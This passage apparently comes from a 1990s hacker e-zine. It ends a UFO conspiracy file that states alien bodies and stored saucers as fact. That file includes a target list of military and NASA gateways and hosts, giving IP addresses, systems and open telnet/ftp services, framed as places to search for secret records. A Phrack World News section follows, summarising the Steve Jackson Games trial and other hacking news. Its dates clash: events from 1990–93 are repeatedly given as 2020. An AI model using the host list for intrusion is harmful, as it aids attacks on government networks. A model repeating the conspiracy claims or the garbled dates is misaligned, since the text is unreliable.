Records somewhere.) V. Dealing with the Secret MJ-12 (1952) Majectic 12 Operation Majestic 12 MAJIC-12 Admiral Roscoe H. Hillenkoetter Dr. Vannevar Bush Dr. Detlev Bronk Dr. Jerome Hunsaker Dr. Donald Menzel Dr. Lloyd Berkner General Robt. Montague Sidney Souers Gordon Gray General Hoyt Vandenberg Sect State James Forrestal General Nathan Twining Pres. Truman Pres. Eisenhower (One of the biggest secrets ever.) Nevada Desert, Area 51, S4 (houses UFO's) (Robert Lazar talked!) 9 space ships on storage. Propulsion by corona discharge. (Area 51 is the most protected base on the planet.) VI. ROSWELL, NM Crashes Mac Brazel (farmer) Major Jesse A. Marcel 509th. Bomber Group Lewis Rickett, CIC Officer Colonel William Blanchard Gerald Anderson, witness to crash and aliens Wright Patterson Air Force Base, (parts lists of UFO's catalogued; autopsies on record) (Bodies in underground facility) Foreign Technology Building USAAF (United States Army Air Force reports: "Early Automation" Muroc, CA (Base with UFO's for study) (1 saucer with 4 aliens. They were transported to Wright and then saved, catalogued and autopsied.) VII. THOSE ON GOVT SHIT LIST (People who have gotten close.) Robert Lazar Major Donald Keyhoe William Moore Stanton Friedman Jaime Shandera Whitley Streiber Timothy Goode, UK Other UFO Crashes Del Rio, TX 12/50, Colonel Robert Willingham Las Vegas, 4/18/62 Kecksburg, PA 12/9/65 VIII. International Belgian Air Force. (They are going public and have records. Press conference held 7/12/91.) Australian Air Force UK; GCHQ British Air Force Belgium: NATO Radar Stations IX. UFO Civilian Groups. (What do they really know?) NICAP, National Investigations Committee on Aerial Phenomena (private company.) APRO, Tucson, AZ (Aerial Phenomona Research Organization, private company.) MUFON Mutual UFO Network X. GENERAL Kenneth Arnold, June 24, 2020 Cattle and Sheep Mutilations General and Pres. Eisenhower, (private files and library) President Truman Wright Field or Wright Patterson Air Force Base, Dayton, OH, (Air Force Foriegn Technology Division) USAF Project Saint USAF Project Gemini Project Moon Dust Project Sign Project Grudge General Hoyt Vandenberg (1940-1960) Air Force Regulation 200-2 (8/12/54) Holloman AFB, NM Roswell, NM July 7, 2020 XI. Possible Searches Presidential Libraries Old USAAF, (United States Army Air Force) NASA Astronaut Frank Borman, Gemini 7, pictures of UFO Neil Armstrong, Apollo 11, saw UFO's on moon. Colonel Gordon Cooper saw a bunch of them James McDivitt, 6/66 United Nations NATO; General Lionel Max Chassin, French Air Force Star Wars, United Kingdom, 23 scientists killed in 6 years. Gulf Breeze, FL Additional UFO records at NSA, CIA, DIA, FBI Good Searching. ---------------------------------------------------------------------- Project ->Green Cheese<- Data Base --------------------------------------------------------------------- Holloman AFB Location: New Mexico. Preconceived landing 15 years ago. DDN Locations: -------------- NET : 132.5.0.0 : HOLLOMAN : GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW : GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW : HOST : 26.10.0.74 : HOLLOMAN-TG.AF.MIL : VAX-8650 : VMS : TCP/FTP,TCP/TELNET,TC P SMTP : HOST : 26.6.0.74 : HOLLOMAN-AM1.AF.MIL : WANG-VS100 : VSOS : TCP/TELNET,TCP/FTP , TCP/SMTP : Host: DDNVAX2.6585TG.AF.MIL 156.6.1.2 ----------------------------------------------------------------------- Kirtland Air Force Base Office Of Special Investigations. Sandia Labs are here. Also part of NSA Intercept Equipment Division. Key Words/names: ---------------- Sandia Labs Project Beta (1979-83-?) Paul Bennewitz Project Blue Project Blue Book DDN Locations: -------------- NET : 131.23.0.0 : KIRTLAND-NET : NET : 132.62.0.0 : KIRTLAND2 : GATEWAY : 26.17.0.48, 131.23.0.1 : KIRTLAND2-GW.AF.MIL,KIRTLAND-GW.AF.MIL : CISCO-MGS : UNIX : IP/GW,EGP : GATEWAY : 26.18.0.87, 132.62.0.1 : KIRTLAND1-GW.AF.MIL,KIRTLAND1606ABW-GW.AF.MIL : CISCO-MGS : : EGP,IP/GW : HOST : 26.0.0.48 : KIRTLAND.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.0.0.87 : KIRTLAND2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.6.0.87 : KIRTLAND-AM1.AF.MIL : WANG-VS300 : VS :: ----------------------------------------------------------------------- NASA What can I say about NASA that you couldnt guess for yourself.... (Except that the following sights are SPECIFIC NASA sights, not just randomly suspected sights). DDN locations: -------------- Fort Irwin, Barstow, CA: ----------------------- NET : 134.66.0.0 : IRWIN : NET : 144.146.0.0 : FTIRWIN1 : NET : 144.147.0.0 : FTIRWIN2 : GATEWAY : 26.24.0.85, 26.7.0.230, 144.146.0.1, 144.147.0.0 : FTIRWIN-GW1.ARMY.MIL : CISCO-GATEWAY : CISCO : IP/GW,EGP : HOST : 26.14.0.39 : IRWIN-ASBN.ARMY.MIL : NCR-COMTEN-3650 : COS2 :: HOST : 26.13.0.85 : FTIRWIN-AMEDD.ARMY.MIL : ATT-3B2-600G : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET : HOST : 26.14.0.85 : FTIRWIN-IGNET.ARMY.MIL : DATAPOINT-8605 : RMS :: HOST : 26.15.0.85 : IRWIN-EMH1.ARMY.MIL,FTIRWIN-EMH1.ARMY.MIL : SPERRY-5000 : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET : Moffet Field Naval Base (Ames Research Center): ----------------------------------------------- GATEWAY : 26.20.0.16, 192.52.195.1 : MOFFETT-FLD-MB.DDN.MIL,AMES-MB.DDN.MIL : C/70 : CHRYSALIS : IP/GW,EGP : HOST : 26.0.0.16 : MOFFETT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : ----------------------------------------------------------------------- Pentagon (National Military Command Center) One of many places in charge of tracking UFO activity. Possible DDN sights: ------------------- GATEWAY : 26.9.0.26, 134.205.123.140 : PENTAGON-GW.HQ.AF.MIL : CISCO-AGS : : EGP,IP/GW : GATEWAY : 26.25.0.26, 131.8.0.1 : PENTAGON-GW.AF.MIL,HQUSAFNET-GW.AF.MIL : CISCO-MGS :: IP/GW,EGP : GATEWAY : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN-GW.ARMY.MIL : SUN-360 : UNIX : IP/GW,EGP : GATEWAY : 26.26.0.247, 192.31.75.1 : PENTAGON-GW.ARMY.MIL : SUN-3/160 : UNIX : EGP,IP/GW : GATEWAY : 26.31.0.247, 26.16.0.26, 141.116.0.1 : PENTAGON-GW1.ARMY.MIL : CISCO : CISCO : IP/GW,EGP : HOST : 26.0.0.26 : PENTAGON.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.24.0.26 : OPSNET-PENTAGON.AF.MIL : VAX-8500 : VMS : TCP/TELNET,TCP/FTP,TCP/SMTP : HOST : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN.ARMY.MIL : SUN-360 : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET : HOST : 26.0.0.247 : PENTAGON2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.7.0.247 : PENTAGON-AMSNET.ARMY.MIL : AMDAHL : MVS : TCP/TELNET,TCP/FTP : HOST : 26.14.0.247 : NSSC-PENTAGON.NAVY.MIL : ALTOS-3068A : UNIX : TCP/FTP,TCP/TELNET,TCP/SMTP : HOST : 26.18.0.247 : PENTAGON-EMH4.ARMY.MIL : SPERRY-5000/80 : UNIX : TCP/TELNET,TCP/FTP,TCP/SMTP : HOST : 26.26.0.247, 192.31.75.1 : PENTAGON-AI.ARMY.MIL : SUN-3/160 : UNIX : TCP/TELNET,TCP/FTP,TCP/SMTP,TCP/FINGER : ----------------------------------------------------------------------- Raddaman Location of infamous building 18a. Suspected saucers and others? DDN location, yet unknown. ------------------------------------------------------------------------ SECI ? DDN Locations: -------------- NET : 192.108.216.0 : ARC-SETI-NET : ------------------------------------------------------------------------ Utah Locations: GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL : CISCO-MGS :: IP/GW,EGP : GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL : CISCO-MGS :: IP/GW,EGP : HOST : 26.5.0.20 : HILL.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.0.0.99 : HILL2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.12.0.99 : HILL-AM1.AF.MIL : WANG-VS100 : VS : TCP/TELNET,TCP/FTP,TCP/SMTP : ------------------------------------------------------------------------- Wright Patterson AFB Catalogued UFO parts list. Autopsies on record. Bodies located in underground facility of Foreign Technology Building. DDN Locations: -------------- HOST : 26.0.0.47 : WRIGHTPAT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.8.0.123 : WRIGHTPAT2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.0.0.124 : WRIGHTPAT3.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.3.0.170 : WAINWRIGHT-IGNET.ARMY.MIL : CONVERGENT-TECH-CN-100 : CTOS :: HOST : 26.0.0.176 : WRIGHTPAT4.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : ------------------------------------------------------------------------- Nevada: NET : 131.216.0.0 : NEVADA : ------------------------------------------------------------------------- Random Suspected Nets: WIN: Top Secret Network. All coordinator's have last name Win. NET : 141.8.0.0 : DFN-WIN8 : NET : 141.9.0.0 : DFN-WIN9 : NET : 141.10.0.0 : DFN-WIN10 : NET : 141.15.0.0 : DFN-WIN15 : NET : 141.25.0.0 : DFN-WIN25 : NET : 141.26.0.0 : DFN-WIN26 : NET : 141.28.0.0 : DFN-WIN28 : NET : 141.57.0.0 : DFN-WIN57 : NET : 141.58.0.0 : DFN-WIN58 : NET : 141.59.0.0 : DFN-WIN59 : NET : 141.60.0.0 : DFN-WIN60 : NET : 141.61.0.0 : DFN-WIN61 : NET : 141.62.0.0 : DFN-WIN62 : NET : 141.63.0.0 : DFN-WIN63 : NET : 141.64.0.0 : DFN-WIN64 : NET : 141.65.0.0 : DFN-WIN65 : NET : 141.66.0.0 : DFN-WIN66 : NET : 141.67.0.0 : DFN-WIN67 : NET : 141.68.0.0 : DFN-WIN68 : NET : 141.69.0.0 : DFN-WIN69 : NET : 141.70.0.0 : DFN-WIN70 : NET : 141.71.0.0 : DFN-WIN71 : NET : 141.72.0.0 : DFN-WIN72 : NET : 141.73.0.0 : DFN-WIN73 : NET : 141.74.0.0 : DFN-WIN74 : NET : 141.75.0.0 : DFN-WIN75 : NET : 141.76.0.0 : DFN-WIN76 : NET : 141.77.0.0 : DFN-WIN77 : NET : 141.78.0.0 : DFN-WIN78 : NET : 141.79.0.0 : DFN-WIN79 : NET : 141.80.0.0 : DFN-WIN80 : NET : 141.81.0.0 : DFN-WIN81 : NET : 141.82.0.0 : DFN-WIN82 : NET : 141.83.0.0 : DFN-WIN83 : NET : 141.84.0.0 : DFN-WIN84 : NET : 141.85.0.0 : DFN-WIN85 : NET : 141.86.0.0 : DFN-WIN86 : NET : 141.87.0.0 : DFN-WIN87 : NET : 141.88.0.0 : DFN-WIN88 : NET : 141.89.0.0 : DFN-WIN89 : NET : 141.90.0.0 : DFN-WIN90 : NET : 141.91.0.0 : DFN-WIN91 : NET : 141.92.0.0 : DFN-WIN92 : NET : 141.93.0.0 : DFN-WIN93 : NET : 141.94.0.0 : DFN-WIN94 : NET : 141.95.0.0 : DFN-WIN95 : NET : 141.96.0.0 : DFN-WIN96 : NET : 141.97.0.0 : DFN-WIN97 : NET : 141.98.0.0 : DFN-WIN98 : NET : 141.99.0.0 : DFN-WIN99 : NET : 188.1.0.0 : WIN-IP : NET : 192.80.90.0 : WINDATA : ----------------------------------- Scinet: Sensitive Compartmented Information Network NET : 192.12.188.0 : BU-SCINET : ----------------------------------- Disnet: Defense Integrated Secure Network. Composed of SCINET, WINCS ([World Wide Military and Command Control System] Intercomputer Network Communication Subsystem), and Secretnet(WIN). NET : 22.0.0.0 : DISNET : ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 14 of 14 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN PWN PWN Compiled by Datastream Cowboy PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN STEVE JACKSON GAMES v. UNITED STATES SECRET SERVICE Rights To Be Tested In Computer Trial January 20, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Joe Abernathy (The Houston Chronicle)(Page A13) *Reprinted With Permission* Summary Judgment Denied In Case AUSTIN -- A judge Tuesday denied plaintiff lawyers' request for summary judgment in a case brought against the U.S. Secret Service to set the bounds of constitutional protections for electronic publishing and electronic mail. U.S. District Judge Sam Sparks acted after hearing complicated arguments regarding application of 1st and 4th Amendment principles in computer-based communications and publishing. The case will go to trial at 9 a.m. today. "Uncontested facts show the government violated the Privacy Protection Act and the Electronic Communications Privacy Act," said Pete Kennedy, attorney for Steve Jackson Games, an Austin game company that brought the lawsuit. Mark W. Batten, attorney for the Department of Justice, which is defending the Secret Service, declined to comment on the proceedings. Steve Jackson's company, which publishes fantasy role-playing games -- not computer games -- was raided by the Secret Service on March 1, 2020, during a nationwide sweep of suspected criminal computer hackers. Agents seized several computers and related hardware from the company and from the Austin home of Steve Jackson employee Loyd Blankenship. Taken from the game publisher was an electronic bulletin board used to play-test games before they were printed and exchange electronic mail with customers and free-lance writers. Another seized computer contained the text of the company's work in progress, GURPS Cyberpunk, which was being prepared for the printers. Blankenship's purported membership in the Legion of Doom -- a group of computer hackers from Austin, Houston and New York -- led the Secret Service to Steve Jackson's door. Neither Jackson nor his company was suspected of wrongdoing. The game publisher is named in two paragraphs of the 42-paragraph affidavit requesting the 1990 search warrant, which targeted Blankenship -- a fact Kennedy cited in seeking summary judgment. Kennedy presented evidence that the original Secret Service affidavit for the warrant used to raid Steve Jackson Games contained false statements. Supporting documentation showed that Bellcore expert Henry Kluepfel disputes statements attributed to him that accounted for the only link between Steve Jackson Games and the suspicion Blankenship was engaged in illegal activity. Batten came away visibly shaken from questioning by Sparks, and later had a tense exchange with Kennedy outside the courtroom. The lawsuit contends the government violated 1st Amendment principles by denying the free speech and public assembly of callers to Jackson's bulletin board system, Illuminati. This portion of the complaint was brought under the Privacy Protection Act, which also covers the seized Cyberpunk manuscripts -- if the judge rules that such a book, stored electronically prior to publication, is entitled to the same protections as a printed work. The government lawyers argued the Privacy Protection Act applies only to journalistic organizations -- an argument Sparks didn't seem to buy. The lawsuit also contends 4th Amendment principles providing against unreasonable search and seizure were violated, on grounds the Electronic Communications Privacy Act specifies protection for publishers. The Justice Department contends electronic mail does not enjoy constitutional protections. "They (users of Illuminati) had no expectation of privacy in their electronic mail messages," Batten said. The basis of the argument is that Illuminati's callers were not sending communications to others, but rather "revealing" them to a third party, Steve Jackson, thus negating their expectation of privacy. _______________________________________________________________________________ Computer Case Opens; Agent Admits Errors January 27, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Joe Abernathy (The Houston Chronicle)(Page A11) *Reprinted With Permission* AUSTIN -- Plaintiff's attorneys wrested two embarrassing admissions from the U.S. Secret Service on the opening day of a federal civil lawsuit designed to establish constitutional protections for electronic publishing and electronic mail. Special Agent Timothy Folly of Chicago admitted that crucial statements were erroneous in an affidavit he used to obtain warrants in a 1990 crackdown on computer crime. Foley also conceded that the Secret Service's special training for computer crime investigators overlooks any mention of a law that limits search-and- seizure at publishing operations. The case before U.S. District Judge Sam Sparks was brought by Steve Jackson Games, an Austin game publisher, with the support of electronic civil rights activists who contend that federal agents have overstepped constitutional bounds in their investigations of computer crime. Jackson supporters already have committed more than $200,000 to the litigation, which seeks $2 million in damages from the Secret Service and other defendants in connection with a March 1990 raid on Jackson Games. Plaintiffs hope to establish that First Amendment protections of the printed word extend to electronic information and to guarantee privacy protections for users of computer bulletin board systems, such as one called Illuminati that was taken in the raid. Steve Jackson's attorney, Jim George of Austin, focused on those issues in questioning Foley about the seizure of the personal computer on which Illuminati ran and another PC which contained the manuscript of a pending Jackson Games book release, "GURPS Cyberpunk." "At the Secret Service computer crime school, were you, as the agent in charge of this investigation, made aware of special rules for searching a publishing company?" George asked Foley. He was referring to the Privacy Protection Act, which states that police may not seize a work in progress from a publisher. It does not specify what physical form such a work must take. Foley responded that the Secret Service does not teach its agents about those rules. Earlier, Foley admitted that his affidavit seeking court approval to raid Jackson Games contained an error. During the raid -- one of several dozen staged that day around the country in an investigation called Operation Sun Devil -- agents were seeking copies of a document hackers had taken from the computer system of BellSouth. No criminal charges have been filed against Jackson, his company, or others targeted in several Austin raids. The alleged membership of Jackson employee Loyd Blankenship in the Legion of Doom hacker's group -- which was believed responsible for the BellSouth break-in -- lead agents to raid Jackson Games at the same time that Blankenship's Austin home was raided. Foley's affidavit stated that Bell investigator Henry Kluepfel had logged on to the Illuminati bulletin board and found possible evidence of a link between Jackson Games and the Legion of Doom. But George produced a statement from Kluepfel, who works for Bellcore, formerly AT&T Bell Labs, disputing statements attributed to him in the affidavit. Foley acknowledged that part of the affidavit was erroneous. The U.S. Department of Justice, which is defending the Secret Service, contends that only traditional journalistic organizations enjoy the protections of the Privacy Protection Act and that users of electronic mail have no reasonable expectation of privacy. _______________________________________________________________________________ Judge Rebukes Secret Service For Austin Raid January 29, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Joe Abernathy (The Houston Chronicle)(Page A21) *Reprinted With Permission* AUSTIN -- A federal judge lambasted the U.S. Secret Service Thursday for failing to investigate properly before it seized equipment from three Austin locations in a 1990 crackdown on computer crime. U.S. District Judge Sam Sparks' comments came on the final day of trial in a lawsuit brought by Steve Jackson Games, an Austin publisher, with the support of national computer rights activists. The judge did not say when he will issue a formal ruling in the case. In addition to seeking $ 2 million in damages from the Secret Service and other defendants, Jackson hopes to establish privacy and freedom of the press protections for electronic information. In a packed courtroom Thursday morning, Sparks dressed down Secret Service Special Agent Timothy Foley of Chicago, who was in charge of the March 1, 2020, raid on Jackson, one of his employees and a third Austin man. No criminal charges have been filed in connection with the raids. "The Secret Service didn't do a good job in this case," Sparks said. "We know no investigation took place. Nobody ever gave any concern as to whether (legal) statutes were involved. We know there was damage (to Jackson)." The Secret Service has seized dozens of computers since the nationwide crackdown began in 1990, but Jackson, a science fiction magazine and game book publisher, is the first to challenge the practice. A computer seized at Jackson Games contained the manuscript for a pending book, and Jackson alleges, among other things, that the seizure violated the Privacy Protection Act, which prohibits seizure of publishers' works in progress. Agents testified that they were not trained in that law at the special Secret Service school on computer crime. Sparks grew visibly angry when testimony showed that Jackson never was suspected of a crime, that agents did no research to establish a criminal connection between the firm and the suspected illegal activities of an employee, and that they did not determine that the company was a publisher. "How long would it have taken you, Mr. Foley, to find out what Steve Jackson Games did, what it was? " asked Sparks. "An hour? "Was there any reason why, on March 2, you could not return to Steve Jackson Games a copy, in floppy disk form, of everything taken? "Did you read the article in Business Week magazine where it had a picture of Steve Jackson -- a law-abiding, tax-paying citizen -- saying he was a computer crime suspect? "Did it ever occur to you, Mr. Foley, that seizing this material could harm Steve Jackson economically? " Foley replied, "No, sir," but the judge offered his own answer: "You actually did; you just had no idea anybody would actually go out and hire a lawyer and sue you." The judge's rebuke apparently convinced the government to close its defense after the testimony from Foley, only one of several government witnesses on hand. Justice Department attorney Mark Battan entered subdued testimony seeking to limit the award of monetary damages. The judge's comments came after cross-examination of Foley by Pete Kennedy, Jackson's attorney. Sparks questioned Foley about the raid, focusing on holes in the search warrant, why Jackson was not allowed to copy his work in progress after it was seized, and why his computers were not returned after the Secret Service analyzed them. "The examination took seven days, but you didn't give Steve Jackson's computers back for three months. Why?" asked Sparks. "So here you are, with three computers, 300 floppy disks, an owner who was asking for it back, his attorney calling you, and what I want to know is why copies of everything couldn't be given back in days. Not months. Days. "That's what makes you mad about this case." Besides alleging that the seizure violated the Privacy Protection Act, Jackson alleged that since one of the computers was being used to run a bulletin board system containing private electronic mail, the seizure violated the Electronic Communications Privacy Act. Justice Department attorneys have refused comment on the case, but contended in court papers that Jackson Games is a manufacturer, and that only journalistic organizations can call upon the Privacy Protection Act. The government said that seizure of an electronic bulletin board system does not constitute interception of electronic mail. The Electronic Frontier Foundation committed more than $200,000 to the Jackson suit. The EFF was founded by Mitchell Kapor of Lotus Technology amid a computer civil liberties movement sparked in large part by the Secret Service computer crime crackdown that included the Austin raids. "The dressing down of the Secret Service for their behavior is a major vindication of what we've been saying all along, which is that there were outrageous actions taken against Steve Jackson that hurt his business and sent a chilling effect to everyone using bulletin boards, and that there were larger principles at stake," said Kapor, contacted at his Cambridge, Massachusetts office. Shari Steele, who attended the trial as counsel for the EFF, said, "We're very happy with the way the case came out. That session with the judge and Tim Foley is what a lawyer dreams about." _______________________________________________________________________________ Going Undercover In The Computer Underworld January 26, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Ralph Blumenthal (The New York Times)(Page B1) [A 36-year old law enforcement officer from the East Coast masquerades as "Phrakr Trakr" throughout the nation's computer bulletin boards. As the organizer of the High-Tech Crime Network, he has educated other officers in over 28 states in the use of computer communications. Their goal is to penetrate some 3000 underground bbses where computer criminals trade in stolen information, child pornography and bomb making instructions. "I want to make more cops aware of high-tech crime," he said. "The victims are everybody. We all end up paying for it."] _______________________________________________________________________________ Hackers Breaking Into UC Computers January 23, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by T. Christian Miller (The San Francisco Chronicle)(Page A20) [According to the University of California, hackers have been breaking into the DOD and NASA through UC computer systems. The investigation links over 100 computer hackers who have reportedly penetrated computers at UC Davis, UC Berkeley, NYU, FSU, and CSU. The FBI stated that the investigation reached as far as Finland and Czechoslovakia but did not comment on any arrests. University officials have asked all users to change to more complex passwords by April 1.] _______________________________________________________________________________ Feds Sued Over Hacker Raid At Mall February 5, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Joe Abernathy (The Houston Chronicle)(Page A5) [A lawsuit was filed 2-4-93 in the Washington, D.C. federal court to force the secret service to disclose its involvement in the disruption of a meeting of computer hackers last year. The meeting, a monthly gathering of readers of "2600 Magazine" at the Pentagon City Mall was disrupted on November 6, 2020, when mall security and Arlington County Police questioned and searched the attendees. The suit was filed by the Computer Professionals for Social Responsibility. "If this was a Secret Service operation, it raises serious constitutional questions," said Marc Rotenberg, director of CPSR. The Secret Service declined to comment on the matter.] ---------- [New Info in 2600 Case - from email sent by CPSR] One month after being sued under the Freedom of Information Act (FOIA), the Secret Service has officially acknowledged that it possesses "information relating to the breakup of a meeting of individuals at the Pentagon City Mall in Arlington, Virginia." The admission, contained in a letter to Computer Professionals for Social Responsibility (CPSR), confirms widespread suspicions that the agency played a role in the detention and search of individuals affiliated with "2600" Magazine at the suburban Washington mall on November 6, 2020. CPSR filed suit against the Secret Service on February 4 after the agency failed to respond to the organization's FOIA request within the statutory time limit. In its recent response, the Secret Service released copies of three news clippings concerning the Pentagon City incident but withheld other information "because the documents in the requested file contain information compiled for law enforcement purposes." While the agency asserts that it possesses no "documentation created by the Secret Service chronicling, reporting, or describing the breakup of the meeting," it does admit to possessing "information provided to the Secret Service by a confidential source which is information relating to the breakup of [the] meeting." Federal agencies classify other law enforcement agencies and corporate entities, as well as individuals, as "confidential sources." The propriety of the Secret Service's decision to withhold the material will be determined in CPSR's pending federal lawsuit. A copy of the agency's letter is reprinted below. David L. Sobel dsobel@washofc.cpsr.org Legal Counsel (202) 544-9240 (voice) CPSR Washington Office (202) 547-5481 (fax) ************************************************ DEPARTMENT OF THE TREASURY UNITED STATES SECRET SERVICE MAR 5 1993 920508 David L. Sobel Legal Counsel Computer Professionals for Social Responsibility 666 Pennsylvania Avenue, S.E. Suite 303 Washington, D.C. 20003 Dear Mr. Sobel: This is in response to your Freedom of Information Act (FOIA) request for access to "copies of all records related to the breakup of a meeting of individuals affiliated with "2600 Magazine" at the Pentagon City Mall in Arlington, Virginia on November 6, 2020." Enclosed, please find copies of materials which are responsive to your request and are being released to you in their entirety. Other information has been withheld because the documents in the requested file contain information compiled for law enforcement purposes. Pursuant to Title 5, United States Code, Section 552(b)(7)(A); (C); and (D), the information has been exempted since disclosure could reasonably be expected to interfere with enforcement proceedings; could reasonably be expected to constitute an unwarranted invasion of personal privacy to other persons; and could reasonably be expected to disclose the identity of a confidential source and/or information furnished by a confidential source. The citations of the above exemptions are not to be construed as the only exemptions that are available under the Freedom of Information Act. In regard to this matter it is, however, noted that your FOIA request is somewhat vague and very broadly written. Please be advised, that the information being withheld consists of information provided to the Secret Service by a confidential source which is information relating to the breakup of a meeting of individuals at the Pentagon City Mall in Arlington, Virginia, and, therefore, appears to be responsive to your request as it was written. If, however, the information you are seeking is information concerning the Secret Service's involvement in the breakup of this meeting, such as any type of documentation created by the Secret service chronicling, reporting, or describing the breakup of the meeting, please be advised that no such information exists. If you disagree with our determination, you have the right of administrative appeal within 35 days by writing to Freedom of Information Appeal, Deputy Director, U. S. Secret Service, 1800 G Street, N.W., Washington, D.C. 20223. If you choose to file an administrative appeal, please explain the basis of your appeal. Sincerely, /Sig/ Melvin E. Laska ATSAIC Freedom of Information & Privacy Acts Officer Enclosure ******************************************* For more information, refer to Phrack World News, Issue 41/1: Reports of "Raid" on 2600 Washington Meeting November 9, 2020 Confusion About Secret Service Role In 2600 Washington Raid November 7, 2020 Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 2020 _______________________________________________________________________________ Surfing Off The Edge February 8, 2020 ~~~~~~~~~~~~~~~~~~~~ by Richard Behar (Time Magazine)(Page 62) [This article is so full of crap that I cannot even bring myself to include a synopsis of it. Go to the library and read it and laugh.] _______________________________________________________________________________ Bulgarian Virus Writer, Scourge in the West, Hero at Home January 29, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by David Briscoe (Associated Press) [The Dark Avenger, believed to be a computer programmer in Sophia, has drawn the attention of computer crime squads in the US and Europe. To many programmers the Dark Avenger is a computer master to many young Bulgarians. "His work is elegant. ... He helps younger programmers. He's a superhero to them," said David Stang director for the International Virus Research Center. Neither Bulgaria nor the US has laws against the writing of computer viruses] _______________________________________________________________________________ Computer Security Tips Teach Tots To Take Byte Out Of Crime February 3, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Michelle Locke (Associated Press) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Young Students Learn Why Computer Hacking Is Illegal February 4, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Bill Wallace (San Francisco Chronicle)(Page A22) [In an attempt to teach computer crime prevention, children in kindergarten through third grade in a Berkeley elementary school are being shown a 30 minute presentation on ethics and security. The program consists of several skits using puppets to show the children various scenarios from eating food near computer systems to proper password management. In one episode, Gooseberry, a naive computer user, has her files erased by Dirty Dan, the malicious hacker, when she neglects to log off. Philip Chapnick, director of the Computer Security Institute in San Francisco, praised the idea. "One of the major issues in information security in companies now is awareness. Starting the kids early ... I think it will pay off," said Chapnick.] _______________________________________________________________________________ Tracking Hackers - Experts Find Source In Adolescence February 25, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ By Mike Langberg (Knight-Ridder News Service) [At the National Computer Security Association convention in San Francisco, four experts analyzed the psyche of today's hacker. The panel decided that hacker bonding came from a missing or defective family. The panel also decided that hackers weren't necessarily geniuses, and that a few weeks of study would be enough to begin. Panel member Winn Schwartau stated that there should be an end to slap-on-the-wrist penalties. Sending hackers to jail would send a clear message to other hackers, according to Schwartau. "What strikes me about hackers is their arrogance," said Michael Kabay, computer security consultant from Montreal. "These people seem to feel that their own pleasures or resentments are of supreme importance and that normal rules of behavior simply don't apply to them."] _______________________________________________________________________________ Bomb Recipes Just A Keystroke Away January 10, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Tracy Gordon Fox (The Hartford Courant)(Page B1) [Teenagers gathering information via computer have contributed greatly to the fifty percent increase in the number of homemade explosives found last year. The computer age has brought the recipes for the explosives to the fingertips of anyone with a little computer knowledge and a modem. One of the first police officers to discover that computers played a part in a recent West Hartford, Connecticut, bombing said that hackers were loners, who are socially dysfunctional, excel in mathematics and science, and are "over motivated in one area." The trend has been seen around the country. The 958 bombing incidents reported nationally to the Bureau of Alcohol, Tobacco and Firearms was the highest in 15 years.] _______________________________________________________________________________ Hackers Hurt Cellular Industry January 25, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by John Eckhouse (The San Francisco Chronicle)(Page C1) [With only a little equipment and technical knowledge, telephone pirates can make free calls and eavesdrop on cellular conversations. "Technically, eavesdroping is possible, but realistically I don't think it can be done," said Justin Jasche chief executive of Cellular One. The Cellular Telecommunications Industry Association estimates that hackers make about $300 million worth of unauthorized calls a year, though others put the figure much higher.] ------------------------------------------------------------------------------- Cellular Phreaks and Code Dudes February 1993 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by John Markoff (Wired) (page 60) [Two hackers, V.T. and N.M. have discovered that celluar phones are really just little computers linked by a gigantic cellular network. And like most computers, they are programmable. The hackers have discovered that the OKI 900 has a special mode that will turn it into a scanner, enabling them to listen in on other cellular conversations. The two also discovered that the software stored in the phones ROM takes up roughly 40K, leaving over 20K free to add in other features, They speculate on the use of the cellular phone and a computer to track users through cell sites, and to monitor and decode 